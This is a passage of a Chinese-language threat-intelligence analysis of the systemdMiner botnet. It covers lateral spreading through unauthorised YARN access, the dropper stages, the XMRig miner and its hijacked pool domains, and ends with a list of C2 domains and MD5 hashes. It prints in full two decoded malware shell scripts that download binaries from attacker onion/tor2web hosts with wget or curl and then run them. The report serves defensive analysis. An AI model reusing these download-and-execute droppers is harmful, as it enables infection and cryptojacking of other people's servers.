前文说过,systemd-resolve 集成了 YARN 未授权访问漏洞的 Exp,并以此入侵其他主机横向传播。systemd-resolve 的加壳、对抗分析特性都与 systemd-login-ddg 相同,不同的是把自身的守护进程命名为 -rbash

该样本主要用于内网传播,针对 172.16.0.0/12192.168.0.0/1610.0.0.0/8 网段。样本会先检查当前主机的 LAN_IP,是否属于上述三个内网网段:

如果当前主机的 LAN_IP 属于上述三个网段,样本就会批量探测上述网段各主机的 8088 端口:

scan_yarn_pcap

对于探测成功的目标主机,则利用以下 Payload 来传播自身:

yarn_exp

Payload 中的 Shell 脚本同样经过 Base64 编码,解码后如下:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

d() {
    x=/systemd-login-h
    y=/tmp/systemd
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
}

if ! ps -p $(< /tmp/.X1M-unix); then
    d aptgetgxqs3secda.tor2web.fyi || d aptgetgxqs3secda.onion.in.net || d aptgetgxqs3secda.onion.sh || d aptgetgxqs3secda.tor2web.io
fi

可以看到最终会在目标失陷主机中下载 systemd-login-h 并执行。这个 systemd-login-h 功能与上面分析过的 systemd-login-ddg 相同,此处不赘述。

3.3 systemd.sh

前文提到,systemd-login-ddg 在用来更新样本的第 5 个 Shell 脚本中,会下载 systemd.sh 并执行。在我们分析 systemdMiner 家族的早期,这个 systemd.sh 脚本没有实质性的内容:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

大概在 2019.4.23 中午,背后的攻击者才把 systemd.sh 正式上线,最新的 systemd.sh 的内容:

exec &>/dev/null
export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin
d() {
    x=/systemd-analyze
    y=/tmp/.systemd-analyze
    wget -qU- --no-check-certificate $1$x -O$y || curl -fsSLkA- $1$x -o$y
    chmod +x $y;$y
    sleep 6
}

if ! ps -p $(cat /tmp/.X11-lock); then
    d rapid7cpfqnwxodo.d2web.org
fi

可以看到其目的是下载 systemd-analyze 并执行。

3.4 systemd-analyze

前文提到, systemdMiner 目前的盈利手段是挖矿,而最终承担此任务的的矿机程序就是这个 systemd-analyze

此矿机程序也有与 systemdMiner 其他二进制程序相同的对抗分析的手段,不同的是它会把自己的进程命名为 6 位由大小写英文字母和数字组成的随机字符串。矿机程序中的 XMRig 相关字符串:

xmrig_str

挖矿的矿池(Or Proxy) 是攻击者自己控制的 IP,并非公共矿池,而且登录矿池所用的账号和密码均为 "x",所以无法查到攻击者的挖矿获利情况。此矿机所用的挖矿账号、密码以及矿池(Or Proxy) 如下:

miner_conf

经过排查,我们发现次矿机样本中涉及的两个矿池(Or Proxy) IP 对应的域名如下:

DomainDNS Recorde TypeIPRemark
pol-ice.ruA5.167.55.128一家俄罗斯冰淇淋公司
ecosustain.infoA136.243.90.99European regional development Fund
资助的环保监测项目

上述两个都是正经网站的正经域名,所以我们怀疑是被黑客组织入侵了以后当做矿池(Or Proxy)。

4. 总结

综合以上分析以及针对 DDG.Mining.Botnet 一直以来的追踪分析,在技术细节方面, systemdMiner 和 DDG 之间只发现一处相似点:DDG 的配置数据下发 URI 为 /slavesystemdMiner 的 Report URI 也是 /slave ,但这远不足以说明这两个团伙之间有什么联系。更何况 systemdMiner 还把 DDG 当作竞争对手而清除,而 DDG 的配置数据中也通过 hosts 文件屏蔽了 systemdMiner 的 C2 Domain。

所以我们认为,DDG 的主 C2 被 systemdMiner 的团伙入侵了。得手之后,systemdMiner 背后的团伙篡改了 DDG 的恶意 Shell 脚本,并把 DDG 主 C2 服务器上 DDG 的主样本替换成自己的恶意程序,从而经过 DDG 的下发通道把自己的恶意程序下发到 DDG 控制的肉鸡上。

在 systemdMiner 后续的更新中,还会把自己的矿机程序命名为类似于 DDG 样本的名字,比如 6Tx3Wq(同于DDG 矿机程序文件名)或者ddgs.4000 ,让人乍一看会误以为是 DDG 相关的恶意程序。

5. IoCs

C&C Domain:

aptgetgxqs3secda.onion.ly
aptgetgxqs3secda.onion.pet
aptgetgxqs3secda.tor2web.fyi
aptgetgxqs3secda.onion.in.net
aptgetgxqs3secda.onion.mn
aptgetgxqs3secda.d2web.org
rapid7cpfqnwxodo.tor2web.fyi
rapid7cpfqnwxodo.onion.in.net
rapid7cpfqnwxodo.onion.ly
rapid7cpfqnwxodo.onion.pet
rapid7cpfqnwxodo.onion.mn
rapid7cpfqnwxodo.d2web.org

MD5:

64315b604bd7a4b2886bba0e6e5176be
dd8202ac5e6a2f6c8638116aa09694d7
45e4d4671efcd1d9e502359c2fbbd6eb
aa83345c8cc3e7b41709f96bfb9844f8
9f3edaa64e912661cd03f1aa9d342162
aa83345c8cc3e7b41709f96bfb9844f8
4215f6306caa3b216295334538cad257
50da2fb3920bfedfeb9e3a58ca008779
ceaee3da774cc712dc735d38194b396e
8d9f26cd8358dce9f44ee7d30a96793f
4bff1a92e6adcfe48c8b0f42b21a5af6
News Reporter
News Reporter
Head of Operations (Banking), Director IT Governance, Teamlead Microsoft, Service Delivery Manager. Interested in Office 365, LAMP, IT Security and much more!